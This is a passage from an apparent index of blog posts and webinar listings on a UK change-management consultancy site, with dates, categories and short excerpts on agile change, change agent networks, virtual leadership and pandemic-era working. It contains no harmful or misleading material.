worlds of neuroscience and positive psychology, I think we have to adopt a new value. We need to look at the present and identify our achievements rather than focusing on the future and all the things we have not yet done. Defining the problem When change never ends, looking at the things not yet done means... --- ### Kick-start our own change! > Here is a few ideas on how to kick start for change in the new year. Find out about the step I would recommend for success. - Published: 2020-08-31 - Modified: 2023-12-21 - URL: https://agilechangemanagement.co.uk/kick-start-our-own-change/ - Categories: Change management techniques, Insights, Overcoming change fatigue - Tags: #agilechangemanagement, #personaldevelopment, change management Kick-start for change. Using change to grow success. Introduction I have experienced a summer “slowdown” despite not having a proper holiday, which is time away from my home and the people I see all the time! I am struggling to find the energy and motivation to get back to work so have decided to use my behavioural change expertise to create a recipe for change in my working life. 1. Re-set my limiting beliefs None of us knew how long lockdown and the impacts of this dreadful virus would last, but as we drift into the 6th month of working from home, we can no longer pretend this is temporary. I need to reframe my working habits as “accepted practice” and not treat each day as if it didn’t matter because I will get back to “normal” soon. Current beliefs I have more time as I am not commuting, so I will get more done. It doesn’t matter what time I start and finish as I am not constrained by my commute. It doesn’t matter what I am wearing, I am not in the office with anyone. I am not really alone, I am on Zoom with my colleagues all day. New beliefs Time taken for activities is expanding to fit a longer working day, so I need to set interim deadlines and focus on getting things finished at the end of every day. I have the same amount of time I have always had, so I should boundaries to... --- ### Change manage your career - Published: 2020-08-17 - Modified: 2022-04-22 - URL: https://agilechangemanagement.co.uk/change-manage-your-career/ - Categories: Change management career path, Change management profession, Insights - Tags: #agilechangeagent, #personaldevelopment, Agile change management, benefits dependency network, benefits identification, benefits management My coaching sessions during this pandemic have raised a common issue: careers hitting a crossroads with the decision between increasingly specialist roles or taking a management position. We hit a plateau with our current career, feeling as if we are not being stretched or challenged by our current role. This can happen at any age, and any stage of career and is driven by our need to progress, learn new things and feel a sense of accomplishment. If this resonates with you, read on for some help with defining the scope and benefits of your next move. From the Agile Change Agent course, I have been using the simple but effective technique of the Benefits Dependency Network to help people identify the best direction for them at this point in their careers. To use the technique, select the change that you are considering, and then identify the consequences if you pursue this path. By constantly asking the question “so what? ” you can clearly see the consequences of your decision and can evaluate if these consequences are what you want to achieve. Here are two examples from the career choices outlined above. As you can see, each positive leads to another idea, and some advantages feed into more than one other benefit or opportunity. This technique is a structured mind-mapping technique, and as you fill in each subsequent box, you are challenging yourself to identify the consequence of each action. It doesn’t matter how many times I use this technique;... --- ### Top tips for creating successful Change - Published: 2020-08-10 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/top-tips-for-creating-successful-change/ - Categories: Change management techniques, Stakeholder engagement, Webinars - Tags: #agilechangeagent, #agilechangemanagement, #agilechangepractitioner, #APMG, #changeagents, #changemanagement https://youtu. be/o3ua91poO2g Levels of change keep on increasing. Organisations need to adapt and innovate more than ever to improve, remain competitive and succeed. With increasing change comes increasing impact on stakeholders, and it’s vital to ensure that change is managed effectively to ensure lasting success. In this webinar, presenter Melanie Franklin explains the most useful activities to create change that has the support and participation of those affected. She will take a handful of key elements and explain how to succeed so that achievement in one part of your change feeds into the things you still need to do, giving you a simple road-map to follow and ideas for how to track your progress. This webinar is designed to help all those who are being asked to help implement change at work. If you are new to the subject, no prior knowledge is assumed. For anyone who is already leading change, this will be a useful refresher. --- ### Sharing the value of Change Management - Published: 2020-08-10 - Modified: 2024-08-30 - URL: https://agilechangemanagement.co.uk/sharing-the-value-of-change-management/ - Categories: Basics of change management, Measuring the value of change management, Webinars - Tags: #agile, #agilechangeagent, #agilechangemanagement, #agilechangepractitioner, #APMG, #changeagent, #changeagents, #changemanagement https://youtu. be/CZKEsqiHe_A Too often change management is an after-thought, if it is considered at all. Our profession is not seen as an essential element in realising benefits, but an optional set of communication activities to explain projects to those impacted. In this webinar, presenter Melanie Franklin (co-lead of the Change Management Institute’s UK Chapter) will argue that to get the recognition needed for the value of change management activities, we must explain the outcomes we achieve, demonstrating how we can help the business achieve its objectives. Melanie will take us on a journey through the life cycle of change, providing lots of examples of how change management reduces risk and increases the benefits of projects. This webinar is relevant for anyone working in change management, project and programme management, business analysts and those in the PMO. --- ### Introducing the Agile Change Agent course and certification - Published: 2020-08-10 - Modified: 2024-06-28 - URL: https://agilechangemanagement.co.uk/introducing-the-agile-change-agent-course-and-certification/ - Categories: Change management career path, Change management certifications, Webinars - Tags: #agile, #agilechangeagent, #agilechangemanagement, #agilechangepractitioner, #APMG https://youtu. be/yeie5gBPOJQ Agile approaches are increasingly adopted by organisations as they recognise the need to respond quickly and easily in a world of complex and continuous change. For those responsible managing change (e. g. project managers / change managers), professional development opportunities are readily available and relatively easy to identify. But what about wider team members involved in ‘making change happen’? They don’t necessarily need a full project/change manager qualification and managing/implementing change isn’t necessarily their day job. But they do need to understand the impact of Agile working and the effects of change, so they’re better prepared to support the implementation of Agile and change, those leading initiatives and those impacted by change . The Agile Change Agent course and certification has been designed specifically with this audience in mind. During the webinar, Melanie Franklin (presenter and lead architect of the course) will: • Outline the rationale for developing the course and certification • Provide an overview of the course content, benefits and learning outcomes • Highlight the target audience for the course • Address the relationship and differences with existing courses / certifications. The webinar is designed for those highlighted above, but also those involved in professional development for staff, colleagues and peers involved in Agile and change initiatives. --- ### Webinar: Reducing resistance to Agile methods - Published: 2020-08-10 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/webinar-reducing-resistance-to-agile-methods/ - Categories: Benefits of Agile Change Management, Ultimate guide to Agile Change, Webinars - Tags: #agilechangeagent, #agilechangemanagement, #agilechangepractitioner, #APMG, #changemanagement https://www. youtube. com/watch? v=Fp7FU6uiCmQ One of the most common causes of resistance to adopting an Agile approach is a lack of understanding of the business benefits of Agile approaches. Some of the greatest push-back comes from the concept of the evolving solution. To those who have little exposure to Agile methods, an evolving solution appears threatening. They are being asked to commit the money and resources to an unknown deliverable. There is fear that the Agile initiative, with its sprints and increments, is never-ending. One director recently queried if I was asking for an “open cheque book”. If we want to broaden the adoption of Agile in our organizations, and unlock the full potential benefits, we have to take everyone with us. That means explaining, in business terms, what we are delivering and, critically, the many controls that exist within Agile to make sure we do what we said we would do. In this webinar, presenter Melanie Franklin will address the challenges put forward by those resisting change. She will give examples of how she has overcome these and gained support from all levels within organisations for a move towards agile, adaptive practices. --- ### Agile Change Agent - Free taster session! - Published: 2020-08-03 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/agile-change-agent-free-taster-session/ - Categories: Change management certifications, Change management profession, Webinars - Tags: #agilechangeagent, #agilechangemanagement, #APMG, #changeagents, #changemanagement, #free https://www. youtube. com/watch? v=YH7AEEGlHec We are excited to be able to share with you the footage from the free Agile Change Agent Taster session! Choosing the right certification to boost your personal value It's tough to decide which training and certification to invest in and to be sure it will add real value to your role and your CV. Melanie Franklin, Chief Examiner of the Agile Change Agent course will provide a free taster session in this webinar to help you decide whether this course is for you. What is included in the Agile Change Agent course ? I will summarise the 5 sections of the course and how they align with each other, enabling you to develop a simple, intuitive plan for incremental change that everyone involved in your change initiative can easily follow. How is the course taught ? I will explain how you learn from doing, as this course has a high proportion of activities, as you practice each technique, share your learning and your perspectives with others and draw new conclusions and insights, using the techniques, tips, checklists and questionnaires from the Agile Change Management text book that is provided as part of the course materials. What are the key things that I will be able to do as a result of attending the course ? I will highlight techniques that enable you to prioritise your actions and identify those that make the greatest positive difference to what you are trying to achieve. What are others... --- ### How to plan an Agile change initiative - Published: 2020-07-30 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/how-to-plan-an-agile-change-initiative/ - Categories: Agile change management concepts, Ultimate guide to Agile Change, Webinars - Tags: #agilechangeagent, #agilechangemanagement, #agilechangepractitioner, #APMG, #changemanagement https://youtu. be/hu-0nxll5XI It is a myth that Agile approaches do not involve any planning. In fact, the opposite is true; there is much more planning as part of Agile than there is for more traditional approaches. In this webinar, presenter Melanie Franklin will describe a step-by-step approach for creating a high-level plan and the techniques needed to develop specific plans for each element of your change. She will include advice on how to prioritise activities and how to ensure those with the skills and knowledge to carry out the activities participate and become a volunteer resource pool for your change initiatives. --- ### Demystifying Agile - Published: 2020-07-30 - Modified: 2024-04-22 - URL: https://agilechangemanagement.co.uk/demystifying-agile/ - Categories: Agile change management culture, Insights, Ultimate guide to Agile Change, Webinars, White Papers - Tags: #agile, #agilechangeagent, #agilechangemanagement, #agilechangepractitioner, #changemanagement Part One This content is part of the Ultimate Guide to Agile series and the content describes the basics of agile, for anyone who wants to understand what people mean when they talk an agile methodologies and agile approaches. Becoming more Agile continues to be a challenge for organisations. There are perceived benefits of agile approaches, including being able to get things done more quickly, being more efficient by concentrating on work that delivers the best return and managing uncertainty by planning in the short term as longer term is less certain. There is continuing confusion about what agile is and what it will mean for the organisation. To cut through the noise and to enable leaders to make informed decisions, I have created this paper that explains agile using simple language and straightforward examples. This paper will help you understand the terminology, the basic concepts that underpin an Agile approach, and the benefits of increasing your agility. Agile-demystified To support my paper explaining what an agile approach really involves, and how it can be applied to any type of business initiative. The webinar starts with the basics, explaining the different agile brands, the principles of agile working and how this translates into agile processes and a life-cycle model. I differentiate between creating project deliverables and their implementation and show how change management is a critical element of effective agile working. https://youtu. be/Qdm-rDWlvf8 Part Two This paper follows on from the description of the core concepts of agile, agile techniques,... --- ### Practical tips for creating a network of Change Agents > Find out the process of creating a network of Change Agents within your organisation. Watch the video for full details. - Published: 2020-07-28 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/practical-tips-for-creating-a-network-of-change-agents/ - Categories: Agile change management concepts, Change Agents, Stakeholder engagement, Webinars - Tags: #agilechangeagent, #agilechangemanagement, #agilechangepractitioner, #APMG, Agile change management https://www. youtube. com/watch? v=SY22v0-ehP4&t=41s With so much change taking place, organisations are appointing staff across all roles and management grades to lead their colleagues through change. In this webinar, learn how to identify those involved, bring them together as an effective network, overcome common challenges and inspire your agents to champion change. Melanie is hugely experienced in creating these networks and coaching them to greatness, resulting in faster adoption of change with less stress than might otherwise occur. Melanie will support this webinar with additional resources for you to use afterwards to develop your own Change Agent Network. Takeaways: 1. Appreciate how a Change Agent Network addresses the challenges of high volume change. 2. Define key characteristics of ideal Change Agents. 3. Clarify the tasks and activities that Change Agents perform. 4. Work through an 8 step model for establishing your network. --- ### Breaking through the challenges of Agile Implementation - Published: 2020-07-28 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/breaking-through-the-challenges-of-agile-implementation/ - Categories: Agile transformation, Webinars - Tags: #agilechangeagent, #agilechangemanagement, #APMG, Agile change management, Agile project management https://www. youtube. com/watch? v=54v6wkiZLKY In this webinar, I explain the meaning behind these three common words: • Agile - flexible, get things done faster. • Change – delivering new and different. • Management – a structured approach to deliver this. I explain how to apply the principles and concepts from the many Agile methodologies around the world to managing a change initiative. I explain all of the steps needed to move from initial idea to successful implementation, and demonstrate using examples how this Agile Change approach can be applied to any type of change: IT-driven change; restructurings; location moves; launches of new products and services etc. --- ### Key challenges In managing a Change Programme - Published: 2020-07-24 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/a-talk-with-richard-pharro-key-challenges-in-managing-a-change-programme-with-melanie-franklin/ - Categories: Change management profession, Latest trends in change management, Webinars - Tags: #agilechangemanagement, #APMG, #change, #changemanagement https://www. youtube. com/watch? v=x0wDIMV-X-Y During Melanie's conversation with Richard Pharro, CEO of APMG International, they explore how to help people overcome the fear factor of a Change programme and discuss frequently asked questions; • What is Change Management's Best Practice? • What if Change is not positive for those impacted? • What are the key challenges in managing Change? Melanie highlights the impact that badly executed Change programmes can have on mental health and explains how to motivate and encourage stakeholders whilst minimising disruption. Gain insights on strategies to implement an effective, agile Change Management process, convey the value of Change and get tips on getting stakeholders ‘on side’ to deliver successful transformation. --- ### Virtual leadership and the new normal - Published: 2020-07-22 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/virtual-leadership-and-the-new-normal/ - Categories: Change management profession, Latest trends in change management, Webinars https://www. youtube. com/watch? v=QmtR1_lGOsw --- ### Key roles in change management - Published: 2020-07-20 - Modified: 2021-08-25 - URL: https://agilechangemanagement.co.uk/key-roles-in-change-management/ - Categories: Change Agents, Insights, Roles in change management - Tags: #agilechangeagent, #changeagent, #changeagentnetwork Change Agent – you have a full time operational role, and you have to help implement new ways of working, affecting your role and the work that your colleagues and your team do on a daily basis. Use this questionnaire to assess the your likely contribution as a Change Agent, your ability to undertake the role and the business value and your level of support for the change. Change-Agent-Questionnaire-July-2020Download Change Leader – you are responsible for creating tangible change through project and programme management, and/or you have a formal change role, where you are encouraging those in the business to participate in creating new ways of working. Use this questionnaire to assess your technical change management skills, your ability to develop trusted relationships with all the stakeholders impacted by the change and your ideas for creating an environment that enables successful implementation of change. Change-Leader-Questionnaire-July-2020Download --- ### How to Build a Change Agent Network > How to build a change agent network and why change agents are so important to your organisation change initiative. - Published: 2020-07-06 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/practical-steps-to-build-your-change-agent-network/ - Categories: Agile change management concepts, Change Agents, Featured, Insights, Stakeholder engagement - Tags: #agilechangeagent, Change Agents, Change Champions When you're embarking on change within an organisation, it's important to make sure you have a change agent network to support you - but how can you build a change agent network? This content is part of the series on Change Management Roles and Responsibilities and explains the important role change agents, also known as change champions play in the successful implementation of change. The value, importance and need for change management skills is growing at a rapid pace. I believe we are entering a new phase of growth, as organisations move from only have a handful of change professionals, to a broader resource pool of local change leaders, based in the business but responsible, with their colleagues, for changing their ways of working. Establishing a Change Agile or Change Champion network is an important capacity building activity for the organisation. It requires tangible changes to job descriptions, key performance indicators and performance management reviews, competency models and hiring processes for new staff. It is also a cultural change. It fundamentally alters the expectation on staff, broadening their responsibilities from “doing a good job” to “doing a good job and improving the way the job is done”. This means that the role of change professionals has to mature, to transfer our knowledge to these business based subject matter experts, and to form them into a network of their peers, so that they can ensure the changes they make benefit not only a specific process but also the full end to... --- ### New certainties - Job Hunters in 2020 > Job hunters fall into two categories. Those not in work and those currently working in a role looking for a new position. - Published: 2020-06-21 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/new-certainties/ - Categories: Hybrid working, Insights, Popular change initiatives - Tags: #agilechangemanagement, #changemanagement, #newnormal Introduction This week I devised my public training course schedule for the next 3 months, which forced me to estimate future business demand and where this would be coming from. As part of this process, I identified the following “certainties” which I thought you might find useful to compare with your own situation and how you are looking to the future: Job hunters – not in work/on a contract It is a more competitive market than before. Talking to the recruitment companies, the big theme is candidate selection, because there are so many more candidates for every job. I last saw this during the financial crisis, when recruiters added in many more factors to filter candidates at the first stage of the recruitment process. One of the easiest filters to apply is qualifications so even if you have a strong belief that your experience is more valuable than a certificate, remember that you may not get far enough in the process to demonstrate your abilities because more qualified candidates have been selected for interview. Job hunters – those who wish to move to another organisation/position Even during lock-down, new initiatives have started, and my quick survey of the many companies I work with indicates there is pent up demand to start more, with a likely start time of September. This delay takes the pressure off and gives Finance Directors the chance to work through the numbers and Operational Managers time to adjust their staffing requirements and bring back furloughed workers.... --- ### Virtual leadership of Change Teams - Published: 2020-06-08 - Modified: 2024-04-22 - URL: https://agilechangemanagement.co.uk/virtual-leadership/ - Categories: Agile change management culture, Resources, Ultimate guide to Agile Change, White Papers - Tags: #changemanagement, #cultralchange, #personaldevelopment Introduction I am currently trying to drive two major change initiatives, and as all those involved are now working from home, I am having to confront the difficulties of virtual teams. I know I am not alone, and anecdotally, many managers have the same issues: “Just doing my normal work is harder – is it because I must concentrate more in meetings, or is it because I am sitting more in one place? ” “I miss the easy social catch-ups that made me feel like a human being, now I feel like I am part of an unstoppable production line. ” “I am working very hard, but not very smartly. I am on-line the whole time, so am interrupted frequently by the arrival of new messages across many different platforms. ” New culture I recognise on-line, virtual working is going to be more than just a few weeks during the pandemic lock-down. It is now part of the “new normal”. For knowledge workers like myself, there is little imperative to return to the “everyone works face to face” scenario that existed up until March. This means I need to reframe the challenge, not as a temporary crisis but as the cultural change that it is. Using this 3 part framework, I need to define: Core beliefs about virtual working, identifying important things to consider, what is valuable and what is the right thing to be doing. These core beliefs form the basis of the “feeling” we have about virtual working.... --- ### Experience versus qualifications - Published: 2020-06-02 - Modified: 2022-03-26 - URL: https://agilechangemanagement.co.uk/experience-versus-qualifications/ - Categories: Change management career path, Change management certifications, Change management skills, Insights - Tags: #personaldevelopment I lead transformational change in organisations, and as part of my role, I am responsible for developing the internal capability of the organisation to implement change for itself, via the upskilling of its staff. This involves creating motivation and excitement for training and certification in change management by explaining the value of qualifications and accredited training. As a result, I have to address the challenge: “I am an experienced manager, I lead change in my teams all of the time, so why should I get a qualification when I already know what I am doing? ” The question raises many issues: A sense of fatigue – I already have enough on my plate, don’t burden me with any more expectations. A sense of unfairness – you haven’t recognised how experienced I am, you are treating me like a junior! A sense of disempowerment – you are telling me what to do, not letting me choose my own way. As a result, my argument has many elements, to enthuse as many as I can to want to get up-skilled, and I thought you might find some of these arguments will inspire you to address your own learning needs. It will give you a sense of validation For many things that you learn on the change management training, you will have a sense of déjà vu. The theories and models will reflect situations you have faced in the past and you will be able to align when things went well, realising that... --- ### Transitioning from furlough to a return to work - Published: 2020-05-26 - Modified: 2024-06-28 - URL: https://agilechangemanagement.co.uk/transitioning-from-furlough-to-a-return-to-work/ - Categories: Hybrid working, Popular change initiatives - Tags: #agilechangemanagement In the UK there has been a formal “furlough” programme, supported by the government, to pay 80% of the wages of staff that have been stood down from their jobs during this crisis. In other countries, whilst government financial support might not be in place, many organisations have had to ask staff to stay away from their jobs. This article looks at the challenges of bringing these staff back to work effectively, as lockdown restrictions are eased. The biggest challenge is the disparity in experience between furloughed staff and those retained to keep services running: Staff who continued to work originated changes to help cope with the crisis. They fully understand these changes, as they designed them, and they will feel ownership over them. Any challenge to these will be met with resistance. Staff who are returning are not coming back to how things were but will have to assimilate and learn these new working arrangements. These circumstances have led to a perfect storm of a “them and us” culture. Those furloughed staff may feel psychologically bruised by the experience: Why wasn’t I good enough to be kept on when others were? I don’t feel I belong to the new social order that has developed in my absence. I am worried about learning these new ways of working. Effectively we will need to “on-board” these furloughed staff to the “new normal”. This sounds sensible but has psychological impacts for furloughed staff, as it is another way to make them feel... --- ### Navigating the "new" normal > In these difficult times for everyone, i am sharing how navigating the "new" normal is helping me within my business. - Published: 2020-05-17 - Modified: 2023-12-21 - URL: https://agilechangemanagement.co.uk/navigating-the-new-normal/ - Categories: Hybrid working, Insights, Popular change initiatives - Tags: #personaldevelopment, agilechangemanagement This blog is a follow up to my paper describing the possible new elements of the “new” normal. Now we must understand navigating the "new" normal. Crisis and navigating the "new" normal As this crisis progresses, I take time out each weekend to assess where I am and work out what comes next. I thought I would share my summary this weekend to give you some thoughts about where in your work-life and career choices you go next. I have based my assessment on this three-phase model that I have been using in crisis management for the last 20 years. As I have navigated through crisis mode into transition (not the old world, but not an accepted set of new practices) I take comfort from the realisation that although I am in strange times things have progressed pretty much according to the great teaching of Professor William Bridges. He explained that any transition from our current ways of working to a new approach would involve 3 steps: Endings – mourning the loss of old habits, becoming aware of new ideas. Neutral zone – trying to create a new pattern, through trial and error. New beginning – continued application of the new ways of working as they move from being new to being normal. In crisis mode I was catapulted like all of us quickly from shock and awareness of the need to change into the strange neutral zone of creating temporary solutions and making them work very rapidly. I remember... --- ### Becoming a virtual Change Leader - Published: 2020-05-11 - Modified: 2021-09-30 - URL: https://agilechangemanagement.co.uk/becoming-a-virtual-change-leader/ - Categories: Agile change management culture, Insights, Ultimate guide to Agile Change - Tags: #agilechangemanagement, #changemanagement Listening to various governments around the world, as they ease lockdown restrictions, those in the knowledge economy (me and you) are going to be working from home for a long time to come. There is no rationale for us to return to our offices, we can do everything we need do from home BUT it is harder, it is more tiring, and it is more dispiriting. My job is to help teams design, develop and adopt new ways of working. The essence of what I do is: Create a sense of urgency for change, pointing out the advantages of the new way of working and highlighting the disadvantages of how things are done today. Explain how this change links to other changes so that there is a feeling that everything is connected and contributes to an overall improvement. Provide credible answers about the impact of the change, and communicate these in a variety of different ways to appeal to different communication preferences. Create psychological support for trying out the new ways of working without fear of humiliation and blame when mistakes are made. Encourage staff to make lasting changes to their techniques, priorities and work habits so that the change becomes normal. To be effective, I need to form trusting relationships with those who are impacted by the change. This has become harder, as we have lost the opportunity for informal contact, where we exchange not only work-related information but small insights into our own lives, which develops common bonds... --- ### Behaviour change is very hard! - Published: 2020-05-04 - Modified: 2021-09-30 - URL: https://agilechangemanagement.co.uk/behaviour-change-is-very-hard/ - Categories: Change management techniques, Emotional resilience, Insights - Tags: behavioural change As part of an assignment for a client I am developing a “playbook” of techniques to address lots of different examples of resistance to change. It is aimed at Change Agents, Champions, Ambassadors – whatever you call them, those that we hope will influence their colleagues to adopt new ways of working. My playbook includes ideas for points to raise in conversations, how to role model new ways of working and how to construct stories that enthuse and inspire others to get involved. Listening to the media in the UK reporting that people are reluctant to come out of lockdown is an example of how a new behaviour, when it takes hold is so hard to break. The UK has been in lockdown since late March, so staying at home and being fearful of meeting others for fear of infection has become the norm. I am having my own mini experience of how to encourage adoption of new behaviour. I live in Spain where this weekend it has become possible for the elderly to leave their homes for a walk once a day, in one of two possible time-slots morning and evening. My father has spent the last 7 weeks creating a new routine as he has not left the house, except for one brief trip to the pharmacy a week ago. This required getting to grips with mask wearing, and the realities of how it is difficult to hold is wallet or do up his seat belt wearing rubber... --- ### Selling change to reluctant stakeholders - Published: 2020-04-30 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/selling-change-to-reluctant-stakeholders/ - Categories: Change management techniques, Resources, Stakeholder engagement, White Papers Effective change management involves influencing, motivating, and persuading those impacted thatthey want to abandon their current ways of working, and are excited about adopting new approaches. The changes we want to implement do not become a reality unless those that will have to work in the new way adopt them as new routines and habits. Change cannot be done by the few to the many, change is a contact sport that involves the engagement of everyone. Inevitably this means that we need to work with those who do not want to change. There is a famous model that captures this dilemma, highlighting that there will always be those who adapt quickly to changing circumstances and those who remain committed to the current status quo. This paper is about persuading those who want to continue the current ways of working that change is needed. Specifically this paper addresses those who have “evidence” on their side, because the current situation is successful. Use this guide for ideas on persuading those impacted by change to adopt new ways of working. selling-change-to-stakeholdersDownload --- ### Creating the "new" normal! - Published: 2020-04-27 - Modified: 2024-04-22 - URL: https://agilechangemanagement.co.uk/creating-the-new-normal/ - Categories: Hybrid working, Popular change initiatives, Resources, White Papers - Tags: #changemanagement, #Coronavirus Introduction Many organisations are currently in a “crisis” mode, where they are doing what they can to service their customers and continue their internal improvement programs. As the current lock-downs around the world morph into something new (too early to say they are coming to an end) we need to develop our understanding of the “new” normal. We will not return to a world exactly as we left it. We have adapted at a fast pace and many of the changes are ways of working that we will seek to retain. Impact on individuals and organisations For individuals, we need to consider how our working lives will be different, and the impact this has on our work-life balance, and the new possibilities and priorities this will generate. For organisations, the probability of global recession triggers an impact on strategic direction, and choices to be made about how work is structured, who delivers it and who we are targeting as customers. Impact on the individual To try to work out how the post-Covid world will look for individual workers, I think we need to first consider the type of work that we do: Face to face engagement with customers -retail, provision of health services Physical creation of materials – production lines, construction sites Knowledge work – processing of data, provision of on-line services For the first two categories, social distancing will have the greatest impact on ways of working but it is unlikely to alter the job itself or the location... --- ### Finding your Change Agents - Published: 2020-04-22 - Modified: 2022-04-08 - URL: https://agilechangemanagement.co.uk/finding-your-change-agents/ - Categories: Change Agents, Insights - Tags: #changeagentnetworks, #changeagents, #changemanagement Write up of a fascinating meetup from the London Chapter of the Change Agent Network in November 2019 looking at a scientific approach to sourcing change agents. I have summarised my key takeaways but if you want more information you might find these resources useful: Ideas for creating a network of Change Agents and building their emotional resilience https://agilechangemanagement. co. uk/practical-steps-to-build-your-change-agent-network/This is a brand new training course and qualification for those who are helping to make change happen in their area of the business https://apmg-international. com/product/agile-change-agentKey takeawaysWe collaboratively built a word cloud to describe the characteristics of these influencers including favourite person, friend, technical expert, senior leader, someone experienced, peer, someone who believes in me or challenges me. There was a good discussion after the talk about the use of the word influencers and how, as a result of social media bloggers/vloggers "influencer" has negative connotations of pushing their own view, forcing a change of mind and manipulation. Statistically there are 3% of staff that through their networks and the trust that others have in them have the capacity to engage 88% of your workforce. Change agents are a hidden force so we need a structured approach for identifying them. These techniques: 1. Snowball - ask people to name 5 people that they turn to for advice, and then ask each of these 5 to identify the 5 people that they turn to. The number of potential change agents quickly builds up. This technique is also called a nominated network.... --- ### Benefits of an Evolving Solution - Published: 2020-04-07 - Modified: 2024-04-22 - URL: https://agilechangemanagement.co.uk/benefits-of-an-evolving-solution/ - Categories: Benefits of Agile Change Management, Insights, Ultimate guide to Agile Change, White Papers - Tags: Agile change management, Agile project management One of the most common causes of resistance to adopting an Agile approach is a lack of understanding of the business benefits of Agile approaches. In this paper I will share ideas for how to get those not familiar with Agile on-board with the concept and excited to work in this way. For more details, read this paper Benefits-of-an-Evolving-SolutionDownload --- ### Agile Change Agent online session plan - Published: 2020-04-03 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/agile-change-agent-online-session-plan/ - Categories: Change management certifications, Change management profession, Resources Now available through virtual learning After extensive trials, on-line delivery of this course, with excellent feedback from delegates on level of interactivity and ability to ask questions and share experiences. This course is based upon the successful book “Agile Change Management – a practical framework for successful change planning and implementation. The course is divided into 4 parts to reflect the chapters in the book: Concepts and roadmap Business need Relationship building Environment It is a very hands-on course full of opportunities to "see, do, learn". The emphasis is on building capability using pre-prepared checklists, questionnaires and models that can be tailored to the context and content of whatever change you are involved in. Learning Outcomes Make decisions about how to allocate the available time to deliver greatest value. Understand how to prioritise activities according to their business value Apply techniques to identify the benefits of your change and how each of these benefits are dependent on each other. Define the information you need to manage your change initiative Understand who you need to involve and how to best engage with them through empathy and trust Identify your preferences for how you do your work and how this might impact those you are working with. Develop strategies for building resilience in motivation in yourself and others. Course Outline Download the Course Outline here ACA-Course-Outline-v1. 0Download Session Plan Download the online session plan for our online Agile Change Agent course Session-Plan-UK-times-for-on-line-Agile-Change-Agent-training-course-and-exam-invigilation-1Download --- ### Change Management Practitioner online session plan - Published: 2020-04-03 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/change-management-practitioner-session-plan/ - Categories: Change management career path, Change management certifications, Change management profession, Resources After extensive trials, on-line delivery of this course, with excellent feedback from delegates on level of interactivity and ability to ask questions and share experiences. The Online Course is trained by me via Zoom for the full 4 days of training. I also invigilate online your Change Management Foundation exam at the end of Wednesday and your Change Management Practitioner exam on the Friday morning, so I am always available for help throughout the week. We will work through all of the syllabus plus we will look at lots of extra, practical material based on change management programmes that I am running for my clients, so that everything you learn is completely up to date and relevant to the types of change initiative we have to implement. Download the online session plan for our online Change Management Practitioner course Change-Management-Practitioner-Course-Session-PlanDOWNLOAD --- ### Practical Guide to Uncertainty - Published: 2020-03-13 - Modified: 2021-08-25 - URL: https://agilechangemanagement.co.uk/practical-guide-to-uncertainty/ - Categories: Change management techniques, Insights, Overcoming change fatigue Introduction As someone who works all over the world, Coronovirus has added an extra layer of uncertainty to my work. It is unsettling to wake up to headlines about airlines cancelling flights and restricted movement plans by governments. I learnt a lot as global head of contingency planning and disaster recovery years ago which has shaped my approach to these situations. These are my top tips: Be kind to ourselves The stress we are feeling is caused by our need to focus. We have to keep looking out for signals about what is happening, always alert to the need to change our plans. This is in contrast to getting on with our usual routines which are unconscious competence, an automatic set of routines which are comfortable and familiar with known outcomes. This means even our normal tasks become more tiring as there is a voice in our head querying: Are we doing the right things? Is this task necessary? Should we be doing something else? Recognise we become more tired more easily, and don't overload our schedules with too many things (for those who know me, I appreciate I am in danger of being inauthentic here! ! ! ) Create more capacity One of the things I learnt from professional crisis teams in my previous role was to "clear the decks" to create room to think. Thinking is the most important element of excellent crisis management: Think through the prioritisation of tasks - this is on a loop because as... --- ### The value of Change Management - Published: 2020-01-23 - Modified: 2024-04-22 - URL: https://agilechangemanagement.co.uk/the-value-of-change-management/ - Categories: Resources, Understanding change management, White Papers, Why is change management important? Change management involves introducing change, and in an organisation context, this means introducing new ways of working. We know that when we present our colleagues (and ourselves) with something new, we trigger stress - the loss Change triggers many emotions so the process of moving from old to new ways of working needs careful management. Our guide 'The Value of Change Management' helps to focus you on the value and key activities when planning change. Download The Value of Change Management --- ### Resistance to change - Published: 2019-06-17 - Modified: 2022-04-08 - URL: https://agilechangemanagement.co.uk/resistance-to-change/ - Categories: Change management techniques, Insights, Stakeholder engagement - Tags: behavioural change, change management Change Management Institute UK event – Addressing resistance to change Fantastic event by People Deliver Projects who sent along their A-team to give us a thought provoking and interactive session on negotiating through resistance. It was a true master-class, as they told a story of a Change Manager who was failing to make connections with those his project most impacted, and their inevitable resistance to the change. This is a personal account of what I got out of the evening, so for all those of you who were also there, please add your comments, but my main takeaways were: Creating a plan of how you are going to engage with people isn’t a bad thing – very often when I am training skills and techniques for making change happen, there is a feeling that preparing a conversation is a bad thing. The assumption is that conversations will not be natural if they are planned, and that as we talk to people every day, it is not a skill that needs to be practiced. This is not my experience. I often have to deliver challenging and sometimes upsetting messages to staff affected by change, and I routinely have to negotiate the scope of the change, get agreement on who is going to do what, and when they are going to do it. To have any hope of success, I plan what I am going to say, so that I capture the key content that I do not want to forget, but... --- ### Know what's coming next! - Published: 2019-06-08 - Modified: 2022-03-26 - URL: https://agilechangemanagement.co.uk/know-whats-coming-next/ - Categories: Change management skills, Insights - Tags: change management, future of work, innovation Introduction On a family holiday last week so didn't read my emails much, so this weekend scooting through trying to get through as many as possible. It's a boring exercise but it gave me pause for thought when I saw how many invites I had for events on AI, RPA, digital transformation etc. As none of these are immediately relevant to the re-organisations and transformations I am involved in I deleted them but... ... . .  In a world of high-volume change don’t we all have a responsibility to keep up with the latest ideas and synthesise these for potential impacts on our organisations? If we don’t, how can we work out if the changes we are leading have the right scope or are heading in the right direction? This blog is not a lecture from an expert, but I thought I would share my tips for trying to keep up to speed, as my job means I have to have a view about so many industries. 1. Schedule this work Keeping up to date and thinking about the possible futures we might be working in is a part of our jobs. We must do 